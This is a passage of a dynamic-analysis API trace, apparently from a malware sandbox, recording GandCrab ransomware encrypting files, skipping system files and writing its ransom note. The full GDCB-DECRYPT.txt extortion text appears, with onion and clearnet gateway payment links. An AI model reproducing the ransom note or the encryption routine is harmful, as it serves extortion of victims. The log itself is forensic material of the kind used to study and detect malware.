dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.960] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.960] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0170.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.961] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.961] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.961] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.964] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617ca8) returned 1 [0170.964] CryptGetKeyParam (in: hKey=0x617ca8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.964] CryptEncrypt (in: hKey=0x617ca8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b50000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b50000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.964] GetLastError () returned 0x0 [0170.964] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.964] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.966] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618028) returned 1 [0170.966] CryptGetKeyParam (in: hKey=0x618028, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.966] CryptEncrypt (in: hKey=0x618028, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b60000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b60000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.967] GetLastError () returned 0x0 [0170.967] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.967] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yryrd_trbhdmgd-z.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.967] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png") returned 263 [0170.967] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png") returned 263 [0170.967] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png") returned 263 [0170.967] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png") returned 263 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="desktop.ini") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="autorun.inf") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="ntuser.dat") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="iconcache.db") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="bootsect.bak") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="boot.ini") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="ntuser.dat.log") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="thumbs.db") returned 1 [0170.967] lstrcmpiW (lpString1="YX5UQJjrwszF5k.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.967] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yx5uqjjrwszf5k.png")) returned 0xffffffff [0170.967] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png", dwFileAttributes=0xfffffffe) returned 0 [0170.967] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.968] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.968] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.968] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.969] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.969] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.969] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0170.971] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618128) returned 1 [0170.971] CryptGetKeyParam (in: hKey=0x618128, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.971] CryptEncrypt (in: hKey=0x618128, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b70000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b70000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.972] GetLastError () returned 0x0 [0170.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.972] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.974] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618168) returned 1 [0170.974] CryptGetKeyParam (in: hKey=0x618168, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.974] CryptEncrypt (in: hKey=0x618168, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b80000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b80000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.974] GetLastError () returned 0x0 [0170.974] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yx5uqjjrwszf5k.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.975] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\\\GDCB-DECRYPT.txt") returned 282 [0170.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.975] GetLastError () returned 0x3 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.976] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\\\GDCB-DECRYPT.txt") returned 271 [0170.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.976] GetLastError () returned 0x3 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.976] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\\\GDCB-DECRYPT.txt") returned 280 [0170.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.976] GetLastError () returned 0x3 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.977] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\\\GDCB-DECRYPT.txt") returned 270 [0170.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.977] GetLastError () returned 0x3 [0170.978] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.978] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.978] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.978] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.978] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt") returned 244 [0170.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0170.981] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0170.981] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0170.982] CloseHandle (hObject=0x50c) returned 1 [0170.982] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\GDCB-DECRYPT.txt") returned 243 [0170.982] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\GDCB-DECRYPT.txt") returned 243 [0170.982] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\GDCB-DECRYPT.txt") returned 243 [0170.982] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\GDCB-DECRYPT.txt") returned 243 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.982] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.983] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.983] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.983] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.983] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.983] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.983] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.983] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\\\GDCB-DECRYPT.txt") returned 254 [0170.983] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\user data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0170.986] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0170.986] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0170.986] CloseHandle (hObject=0x510) returned 1 [0170.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.987] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\Dictionaries\\\\GDCB-DECRYPT.txt") returned 267 [0170.987] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\Dictionaries\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\user data\\dictionaries\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.987] GetLastError () returned 0x3 [0170.988] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\GDCB-DECRYPT.txt") returned 253 [0170.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\GDCB-DECRYPT.txt") returned 253 [0170.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\GDCB-DECRYPT.txt") returned 253 [0170.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\GDCB-DECRYPT.txt") returned 253 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 